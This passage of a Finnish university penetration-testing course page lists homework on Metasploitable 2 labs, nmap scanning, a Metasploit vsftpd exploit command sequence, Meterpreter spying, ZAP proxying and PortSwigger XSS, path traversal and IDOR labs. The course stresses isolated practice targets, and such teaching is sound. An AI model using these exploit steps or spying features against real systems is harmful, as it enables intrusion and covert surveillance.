&lt;li&gt;&#39;ping 8.8.8.8&#39; - pitäisi toimia (vastata) VPN pois päältä, ja lakata vastaamasta kun laitat VPN päälle.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Muista laittaa lähdeviitteet. Viittaa joka tehtävästä kurssiin ja kaikkiin muihinkin käyttämiisi lähteisiin.&lt;/li&gt;
&lt;li&gt;O&#39;Reilly Learning videot ja kirjat pääset lukemaan ilmaiseksi HH tunnuksilla, kun kirjaudut kirjaston &lt;a href=&quot;https://libguides.haaga-helia.fi/az/databases&quot;&gt;Haaga-Helia A-Z&lt;/a&gt; kautta.&lt;/li&gt;
&lt;li&gt;Kun olet irroittanut Internetin ja valmiina skannaamaan, varmista. Kokeile, että Google tai DuckDuckGo ei aukea selaimella, että et voi pingata esim 8.8.8.8. Kokeile, että maalikoneesi vastaa pingiin. Jos maalikoneella on weppipalvelin, kannattaa katsoa selaimella, että sieltä aukeaa olettamasi sivu.&lt;/li&gt;
&lt;li&gt;Tietoja verkosta
&lt;ul&gt;
&lt;li&gt;ip a; ifconfig&lt;/li&gt;
&lt;li&gt;ip route&lt;/li&gt;
&lt;li&gt;ipcalc 10.0.0.1/24&lt;/li&gt;
&lt;li&gt;ping 8.8.8.8&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Ole huolellinen, irrota harjoituskoneet Internetistä skannausten ja hyökkäysten ajaksi. Mitään ulkopuolisia koneita ei saa skannata eikä mihinkään ulkopuolisiin koneisiin saa tunkeutua.&lt;/li&gt;
&lt;li&gt;Jokin tehtävä voi olla vaikea. Tee ja raportoi silloin kaikki mitä osaat. Listaa lähteet, joista hait ohjeita. Onko jotain vielä kokeiltavana? Mitä haasteita on vielä ratkaisun tiellä? Mitä virheimoituksia tai vastaavia tulee? Voit myös katsoa wepistä esimerkkiratkaisun - muista viitata lähteeseen ja merkitä, missä kohdassa katsoit ratkaisua. Ja katsotaan yhdessä tunnilla loput.&lt;/li&gt;
&lt;li&gt;Ongelmallisista kohdista raportoidaan erityisen tarkasti, jotta voimme antaa vinkkejä haasteisiin.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h2-dora-the-explora&quot;&gt;h2 DORA the Explora &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#h2-dora-the-explora&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Can you say TIBER-FI?&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Lisää mukaan jokin oma havainto, idea tai kysymys)
&lt;ul&gt;
&lt;li&gt;Buuri 2026: &lt;a href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/buuri-2026-dora-and-threat-lead-penetration-testing--teros-pentest-course.pdf&quot;&gt;DORA and TLPT testing - Lecture for Haaga-Helia on 31 March 2026&lt;/a&gt; (pdf, 2 MB)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eur-lex.europa.eu/eli/reg/2022/2554/oj/eng&quot;&gt;DORA (Regulation ... on digital operational resilience for the financial sector)&lt;/a&gt; (vain nämä kaksi artiklaa):
&lt;ul&gt;
&lt;li&gt;Article 26 &quot;Advanced testing of ICT tools, systems and processes based on TLPT&quot;&lt;/li&gt;
&lt;li&gt;Article 27 &quot;Requirements for testers for the carrying out of TLPT&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.suomenpankki.fi/globalassets/bof/en/money-and-payments/the-bank-of-finland-as-catalyst-payments-council/tiber-fi/tiber-fi-2.0-procedures-and-guidelines.pdf&quot;&gt;TIBER-FI procedures and guidelines&lt;/a&gt; (pdf, 1 MB) (vain tämä kohta):
&lt;ul&gt;
&lt;li&gt;5.4 Testing phase: Red team testing (johdantokappale suoraan 5.4 alta, &quot;5.4.1 Red team test plan creation&quot; alkuun asti)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Vapaaehtoinen bonus: Buuri 2026: &lt;a href=&quot;https://youtu.be/z6KIEEknKjM?si=7n8cNWynzMrEwdWZ&quot;&gt;D26 - Releasing Your Inner TIBER in Regulated Adversary Simulations&lt;/a&gt;. Video, 45 min. Disobey 2026.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Asenna Metasploitable 2 virtuaalikoneeseen.&lt;/li&gt;
&lt;li&gt;b) Tee Kalin ja Metasploitablen välille virtuaaliverkko. Jos säätelet VirtualBoxista
&lt;ul&gt;
&lt;li&gt;Kali saa yhteyden Internettiin, mutta sen voi laittaa pois päältä&lt;/li&gt;
&lt;li&gt;Kalin ja Metasploitablen välillä on host-only network, niin että porttiskannatessa ym. koneet on eristetty intenetistä, mutta ne saavat yhteyden toisiinsa&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;c) Harjoittelemme omassa virtuaaliverkossa, jossa on Kali ja Metaspoitable. Osoita testein, että 1) koneet eivät saa yhteyttä Internetiin 2) Koneet saavat yhteyden toisiinsa.&lt;/li&gt;
&lt;li&gt;d) Etsi Metasploitable porttiskannaamalla (nmap -sn). Tarkista selaimella, että löysit oikean IP:n - Metasploitablen weppipalvelimen etusivulla lukee Metasploitable.&lt;/li&gt;
&lt;li&gt;e) Porttiskannaa Metasploitable huolellisesti ja kaikki portit (nmap -A -T4 -p-). Poimi 2-3 hyökkääjälle kiinnostavinta porttia. Analysoi ja selitä tulokset näiden porttien osalta. Voit hakea analyysin tueksi tietoa verkosta, muista merkitä lähteet.&lt;/li&gt;
&lt;li&gt;f) Vapaaehtoinen bonus: Sisään vaan. Pääsetkö murtautumaan Metasploitableen?&lt;/li&gt;
&lt;li&gt;g) Vapaaehtoinen bonus: jos haluat, voit jo kokeilla metasploit-hyökkäysohjelmaa omaan harjoitusmaaliisi. Tätä katsotaan myöhemmin yhdessäkin. (Muista irrottaa kone Internetistä kokeilujen ajaksi. &#39;sudo msfdb init&#39;, &#39;sudo msfconsole&#39;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkkejä&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Virtuaalikoneiisin voi asentaa uusia verkkokortteja vain, kun ne ovat sammuksissa&lt;/li&gt;
&lt;li&gt;Kannattaa lukea Valkamon artikkelista VirtualBox-osuus ennenkuin ryhdyt asentamaan virtuaalikoneita. Valkamo 2022: &lt;a href=&quot;https://tuomasvalkamo.com/PenTestCourse/week-2/&quot;&gt;Hacking into a Target Using Metasploit&lt;/a&gt;:  Metasploitable&lt;/li&gt;
&lt;li&gt;VirtualBoxissa host-only-networking on kätevä. Voit laittaa Kaliin kaksi verkkokorttia, toinen NAT:lla Internetiin ja toinen host-only-network:n. Verkkoasetusten advanced-kohdasta voi vetää virtuaalisen verkkokaapelin irti ja kiinni, vaikka kone on päällä.&lt;/li&gt;
&lt;li&gt;Jos Metasploitable 2 -maali ei löydy omasta verkosta (arp, arpwatch, netdiscover, nmap -sn...), voit kirjatua sisään (msfadmin:msfadmin) ja &#39;ifconfig&#39; tai &#39;ip addr&#39;. Metasploitable 2:n kannattaa laittaa vain yksi &quot;Host only networking&quot; verkkokortti, se ei toimi itsestään kahden verkkokortin kanssa.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h3-eternalhomework&quot;&gt;h3 EternalHomework &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#h3-eternalhomework&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva.)
&lt;ul&gt;
&lt;li&gt;€ Jaswal 2020: Mastering Metasploit - 4ed: Chapter 1: Approaching a Penetration Test Using Metasploit (kohdasta &lt;a href=&quot;https://learning.oreilly.com/library/view/mastering-metasploit/9781838980078/B15076_01_Final_ASB_ePub.xhtml#_idParaDest-31&quot;&gt;Conducting a penetration test with Metasploit&lt;/a&gt; luvun loppuun eli &quot;Summary&quot; loppuun)&lt;/li&gt;
&lt;li&gt;Mitä &#39;nmap -sn&#39; tekee? Älä arvaa, vaan perustele lähteillä. Mistä tiedät, että käyttämäsi lähde on luotettava?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;b) Tallenna porttiskannauksen tuloksia Metasploitin tietokantoihin. Skannaa niin, että Metasploitable tulee mukaan. Kannattaa ottaa mukaan ainakin versioskannaus -sV (joka on banner grabbing plus).&lt;/li&gt;
&lt;li&gt;c) Tarkastele Metasploitin tietokantoihin tallennettuja tietoja komennoilla &quot;hosts&quot; ja &quot;services&quot;. Kokeile suodattaa näitä listoja tai hakea niistä.&lt;/li&gt;
&lt;li&gt;d) Internet famous. Etsi Metasploitablen mukana tulevista hyökkäyksistä (en: exploits; search) sellainen, joka on ollut julkisuudessa.&lt;/li&gt;
&lt;li&gt;e) Vertaile nmap:n omaa tiedostoon tallennusta (-oA foo) ja db_nmap:n tallennusta tietokantoihin. Mitkä ovat eri tiedostomuotojen ja Metasploitin tietokannan hyvät puolet?&lt;/li&gt;
&lt;li&gt;f) Murtaudu Metasploitablen vsftpd-palveluun&lt;/li&gt;
&lt;li&gt;g) Kerää levittäytymisessä (lateral movement) tarvittavaa tietoa metasploitablesta. Analysoi tiedot. Selitä, miten niitä voisi hyödyntää.&lt;/li&gt;
&lt;li&gt;h) Murtaudu Metasploitableen jollain toisella tavalla. (Jos tämä kohta on vaikea, voit tarvittaessa turvautua verkosta löytyviin läpikävelyohjeisiin. Merkitse silloin raporttiin, missä määrin tarvitsit niitä).&lt;/li&gt;
&lt;li&gt;i) Demonstroi Meterpretrin ominaisuuksia.&lt;/li&gt;
&lt;li&gt;j) Tallenna shell-sessio tekstitiedostoon script-työkalulla (script -fa log001.txt) tai tmux:lla.&lt;/li&gt;
&lt;li&gt;k) Pivot point. Laita kaikki harjoituksen tiedostot (script -fa, nmap -oA...) samaan kansioon. Hae sopiva pivot point (sovellus, versio, osoite, MAC-numero) &#39;grep -r&#39; -komennolla. Keksi uskottava esimerkkikysymys, johon haet vastausta.&lt;/li&gt;
&lt;li&gt;l) Attaaack! Mitä Mitre Attack taktiikoita ja tekniikoita käytit tässä harjoituksessa? (Tässä alakohdassa &quot;Attaack!&quot; ei tarvitse tehdä lisää testejä koneella, koska testit on jo tehty.)&lt;/li&gt;
&lt;li&gt;m) Vapaaehtoinen: Etsi esimerkki Mitre Attack proseduurista (procedure), jossa joku uhkatoimija on käyttänyt samoja tekniikoita.&lt;/li&gt;
&lt;li&gt;n) Vapaaehtoinen: Titityy. Saatko Metasploitableen tty-shellin, eli esimerkiksi avattua koko ruudulle piirtävän nano:n?&lt;/li&gt;
&lt;li&gt;o) Vapaaehtoinen, vaikea: Kokeile jotain kilpailevaa hyökkäystyökalua tai vihamielistä etäkäyttötyökalua, kuten &lt;a href=&quot;https://sliver.sh/&quot;&gt;Sliver&lt;/a&gt; tai Scarecrow.&lt;/li&gt;
&lt;li&gt;p) Vapaaehtoinen: Asenna ja korkkaa Metasploitable 3. Karvinen 2018: &lt;a href=&quot;https://terokarvinen.com/2018/install-metasploitable-3-vulnerable-target-computer/&quot;&gt;Install Metasploitable 3 – Vulnerable Target Computer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;q) Vapaaehtoinen: Peekaboo. Demonstroi, kuinka hyökkääjä vakoilee meterpreterillä. Kuuntele mikrofonilla, ota kuvia tai videota kameralla. (Huolehdi, ettei ulkopuolisia joudu kuunnelluksi tai katselluksi.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Vinkkejä&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;O&#39;Reilly Learning videot ja kirjat pääset lukemaan ilmaiseksi HH tunnuksilla, kun kirjaudut kirjaston kautta.&lt;/li&gt;
&lt;li&gt;Jos Metasploitable 2 -maali ei löydy omasta verkosta (arp, arpwatch, netdiscover, nmap -sn...), voit kirjatua sisään (msfadmin:msfadmin) ja &#39;ifconfig&#39; tai &#39;ip addr&#39;. Metasploitable 2:n kannattaa laittaa vain yksi &quot;Host only networking&quot; verkkokortti, se ei toimi itsestään kahden verkkokortin kanssa.&lt;/li&gt;
&lt;li&gt;Murtautumiseen Metasploitable 2:n löytyy esimerkkiratkaisuja &lt;a href=&quot;https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide&quot;&gt;Metasploitable 2 Exploitability Guide&lt;/a&gt;. Tämä on läpikävelyohje, joten kannattaa yrittää ensin itse.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/&quot;&gt;Mitre Attack Enterprise Matrix&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;Tactic, välitavoitteita, esim. &lt;a href=&quot;https://attack.mitre.org/tactics/TA0003/&quot;&gt;TA0003 Persistence&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Techique, keinoja, esim. &lt;a href=&quot;https://attack.mitre.org/techniques/T1189/&quot;&gt;T1189 Drive-by Compromise&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/resources/faq/&quot;&gt;Mitre FAQ&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;grep -ir
&lt;ul&gt;
&lt;li&gt;grep -ir -C 3 --color=always terokarvinen.com|less -R&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;MsfConsole vinkit (ulkomuistista)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Tässä siis ulkomuistista, voit etsiä näistä lisätietoa ja oikean kirjoitusasun.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; msfdb init&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; msfconsole&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; db_nmap localhost&lt;/span&gt;

&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; services&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; hosts&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; &lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; workspaces &lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; sessions&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; sessions --help&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; &lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; search vsftpd&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; use 0&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; setg RHOSTS 127.0.0.1	# huolellisesti, tähän hyökätään kohta&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; &lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; show options&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; exploit&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; &lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; sessions 1&lt;/span&gt;

&lt;span class=&quot;hl-output&quot;&gt;shell&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;ctrl-Z &lt;/span&gt;

&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; session -u 1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;h4-taysin-laillinen-sertifikaatti&quot;&gt;h4 Täysin Laillinen Sertifikaatti &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#h4-taysin-laillinen-sertifikaatti&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue/katso ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva kustakin artikkelista - ei pitkiä esseitä. Kannattaa lisätä myös jokin oma ajatus, idea, huomio tai kysymys.)
&lt;ul&gt;
&lt;li&gt;OWASP 2021: OWASP Top 10:2021
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/Top10/A01_2021-Broken_Access_Control/&quot;&gt;A01:2021 – Broken Access Control &lt;/a&gt; (IDOR ja path traversal ovat osa tätä)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;PortSwigget Academy:
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/access-control/idor&quot;&gt;Insecure direct object references (IDOR)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/file-path-traversal&quot;&gt;Path traversal&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/cross-site-scripting&quot;&gt;Cross-site scripting&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Totally Legit Sertificate. Asenna OWASP ZAP, generoi CA-sertifikaatti ja asenna se selaimeesi. Laita ZAP proxyksi selaimeesi.  Laita ZAP sieppaamaan myös kuvat, niitä tarvitaan tämän kerran kotitehtävissä. Osoita, että hakupyynnöt ilmestyvät ZAP:n käyttöliittymään. (Voi vaatia Firefox about:config network.proxy.allow_hijacking_localhost. Foxyproxy laittoi tämän aiemmin päälle itse. Kalin Firefox ESR oli viimeksi ongelmia Foxyproxyn kanssa - vaihtoehtona on asettaa Proxy käsin Settings, hakusana &quot;proxy&quot;)&lt;/li&gt;
&lt;li&gt;b) Kettumaista. Asenna &quot;FoxyProxy Standard&quot; Firefox Addon, ja lisää ZAP proxyksi siihen. Käytä FoxyProxyn &quot;Patterns&quot; -toimintoa, niin että vain valitsemasi weppisivut ohjataan Proxyyn. (Läksyssä ohjataan varmaankin PortSwigger Labs ja localhost.)&lt;/li&gt;
&lt;li&gt;PortSwigger Labs. Ratkaise tehtävät. Selitä ratkaisusi: mitä palvelimella tapahtuu, mitä eri osat tekevät, miten hyökkäys löytyi, mistä vika johtuu. Kannattaa käyttää ZAPia, vaikka malliratkaisut käyttävät harjoitusten tekijän maksullista ohjelmaa. Monet tehtävät voi ratkaista myös pelkällä selaimella. Malliratkaisun kopioiminen ZAP:n tai selaimeen ei ole vastaus tehtävään, vaan ratkaisu ja haavoittuvuuden etsiminen on selitettävä ja perusteltava.
&lt;ul&gt;
&lt;li&gt;Cross Site Scripting (XSS)
&lt;ul&gt;
&lt;li&gt;c) &lt;a href=&quot;https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded&quot;&gt;Reflected XSS into HTML context with nothing encoded&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;d) &lt;a href=&quot;https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded&quot;&gt;Stored XSS into HTML context with nothing encoded&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;e) Selitä esimerkin avulla, mitä hyökkääjä hyötyy XSS-hyökkäyksestä. Alert(&quot;Hei Tero!&quot;) ei vielä tarjoa kummoista pääsyä. (Tässä alakohdassa ei tarvitse tehdä testejä tietokoneella, pelkkä lyhyt ja selkeä selitys riittää.)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Path traversal
&lt;ul&gt;
&lt;li&gt;f) &lt;a href=&quot;https://portswigger.net/web-security/file-path-traversal/lab-simple&quot;&gt;File path traversal, simple case&lt;/a&gt;. Laita tarvittaessa Zapissa kuvien sieppaus päälle.&lt;/li&gt;
&lt;li&gt;g) &lt;a href=&quot;https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass&quot;&gt;File path traversal, traversal sequences blocked with absolute path bypass&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;h) &lt;a href=&quot;https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively&quot;&gt;File path traversal, traversal sequences stripped non-recursively&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Insecure Direct Object Reference (IDOR)
&lt;ul&gt;
&lt;li&gt;i) &lt;a href=&quot;https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references&quot;&gt;Insecure direct object references&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;j) Vapaaehtoinen, helppo: Asenna &lt;a href=&quot;https://github.com/ffuf/pencode&quot;&gt;pencode&lt;/a&gt; ja muunna sillä jokin merkkijono (encode a string).&lt;/li&gt;
&lt;li&gt;k) Vapaaehtoinen: Mitmproxy. Asenna MitmProxy. Esittele sitä terminaalissa (TUI). Ota TLS-purku käyttöön. Poimi historiasta hakupyyntö, muokkaa sitä ja lähetä uudelleen.&lt;/li&gt;
&lt;li&gt;l) Vapaaehtoinen: Ratkaise lisää PortSwigger Labs -tehtäviä. Kannattaa tehdä helpoimmat &quot;Apprentice&quot; -tason tehtävät ensin.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Firefox ei enää ohjaa proxyyn liikennettä mihinkään 127-alkuiseen IP-osoitteeseen eikä localhostiin. Foxyproxy tai about:config network.proxy.allow_hijacking_localhost auttaa&lt;/li&gt;
&lt;li&gt;Zap asennus
&lt;ul&gt;
&lt;li&gt;Nykyisin Kalissa &#39;sudo apt-get install zaproxy&#39;, &#39;zaproxy&#39; näytti toimivan, joten kannattaa kokeilla sitä ensin.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.zaproxy.org/download/&quot;&gt;OWASP ZAP Download-sivun&lt;/a&gt; sopivin JAR on &quot;Cross Platform Package&quot;, noin 250 MB.&lt;/li&gt;
&lt;li&gt;Kalissa &#39;sudo apt-get install zaproxy&#39;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Proxya voi testata vaikkapa Metasploitablen weppipalveluiden kanssa. Tai &lt;a href=&quot;https://terokarvinen.com/2024/webgoat-podman/&quot;&gt;asentaa WebGoatin Podmaniin&lt;/a&gt;. Tai käyttää läksyn PortSwigger Labsin harjoituksia.
&lt;ul&gt;
&lt;li&gt;Älä tee hyökkäyksiä mihinkään muualle kuin harjoitusmaaleihin&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;ZAP TLS-yhteyksien avaamiseen CA-sertifikaatti
&lt;ul&gt;
&lt;li&gt;Löytyy Tools: Options: Network alta, hakusanaksi &quot;Certificate&quot;.
&lt;ul&gt;
&lt;li&gt;Joissain versioissa haku ei suodata listaa, vaan värittää osumat oranssilla. Ja tietysti oikea sertifikaatti on piilossa, niin että pitää klikkaamalla avata listaa. Sertifikaattikohtia on kaksi, tässä turha asiakkaan sertifikaatti ja oikea, tarvittava palvelimen sertifikaatti (Server Certificate tms).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Firefoxissa Settings ja hakusanaksi &quot;Certificate&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;ZAP:n tärkein toiminto: Requester tab.
&lt;ul&gt;
&lt;li&gt;Löytyy historiasta oikeaa nappia painamalla. Myös Ctrl-W.&lt;/li&gt;
&lt;li&gt;Muokkaa hakupyyntöä ja lähetä. Vastaus näkyy vieresssä. Korjaa ja lähetä uudelleen.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;ZAP hakupyynnön pysäytys
&lt;ul&gt;
&lt;li&gt;Vain, jos Requester eli saman pyynnön uudelleenlähetys ei toimi.&lt;/li&gt;
&lt;li&gt;Puussa olevista osoitteista oikeaa nappia, menusta &quot;Break...&quot;&lt;/li&gt;
&lt;li&gt;Tee pyyntö selaimella&lt;/li&gt;
&lt;li&gt;Pyyntö näkyy ZAPissa oikealla ylhäällä &quot;Break&quot; välilehdellä.&lt;/li&gt;
&lt;li&gt;Muokaa pyynnön tekstiä, lähetä eteenpäin yläreunan työkalupallin Play-symbolia klikkaamalla&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;ZAP kuvien sieppaus muistaakseni Options: Display: ...images.
&lt;ul&gt;
&lt;li&gt;Osa tässäkin läksynä olevista harjoituksista edellyttää, että kuvien sieppaus on päällä.&lt;/li&gt;
&lt;li&gt;Monissa ZAP:n versioissa jättää kokonaan kuvat näyttämättä oletuksena.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;PortSwiggerin tehtävissä voi käyttää välimiesproxyna ZAP:ia tai MitmProxya. Ei siis tarvitse ostaa noiden harjoitusten tekijän kuuluisaa ohjelmaa.&lt;/li&gt;
&lt;li&gt;Pencoder - loistava ohjelma stringien muunteluun fuff:n tekijältä. Esim. URLEncode, base64...
&lt;ul&gt;
&lt;li&gt;Pencoder asennus ulkomuistista: hae Github-sivu &quot;fuff pencode&quot;, Releases, pencode*linux_amd64.tar.gz, pura paketti, aja valmis binääri, kopioi se /usr/local/bin/.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Viittaa
&lt;ul&gt;
&lt;li&gt;Viittasithan kurssiin ja tehtäväsivuun?&lt;/li&gt;
&lt;li&gt;Viittasithan kaikkiin käyttämiisi artikkeleihin?&lt;/li&gt;
&lt;li&gt;Viittasithan muiden tehtäväraportteihin, jos käytit lähteenä?&lt;/li&gt;
&lt;li&gt;Videoihin, man-sivuihin, ohjelmiin, StackOverflowhun...&lt;/li&gt;
&lt;li&gt;Viittasithan kaikkiin muihinkin lähteisiin?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Hakkeroimaan oppii hakkeroimalla.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h5-elokuu2026&quot;&gt;h5 Elokuu2026! &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#h5-elokuu2026&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Nyt levitään! Opit murtamaan salasanoja.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue/katso ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva kustakin artikkelista. Kannattaa lisätä myös jokin oma ajatus, idea, huomio tai kysymys.)
&lt;ul&gt;
&lt;li&gt;Karvinen 2022: &lt;a href=&quot;https://terokarvinen.com/2022/cracking-passwords-with-hashcat/&quot;&gt;Cracking Passwords with Hashcat&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Karvinen 2023: &lt;a href=&quot;https://terokarvinen.com/2023/crack-file-password-with-john/&quot;&gt;Crack File Password With John&lt;/a&gt;&lt;/li&gt;
